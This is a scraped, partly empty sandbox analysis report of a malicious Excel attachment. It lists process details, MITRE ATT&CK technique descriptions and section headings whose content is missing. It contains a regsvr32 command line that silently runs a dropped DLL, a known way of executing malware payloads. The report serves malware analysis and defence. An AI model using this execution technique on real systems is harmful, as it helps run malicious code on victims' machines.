Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe -s 'C:\Users\user\Fiosa.der'
Imagebase:	0xff6d0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: regsvr32.exe PID: 1184 Parent PID: 2684

General

Start time:	11:12:00
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s 'C:\Users\user\Fiosa.der'
Imagebase:	0x770000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Claim-838392655-09242021.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Persistence and Installation Behavior:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Claim-838392655-09242021.xls"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: UserForm1, Stream Size: -1

General

VBA Code

VBA File Name: Module1, Stream Size: 4112

General

VBA Code

VBA File Name: Sheet1, Stream Size: 991

General

VBA Code

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre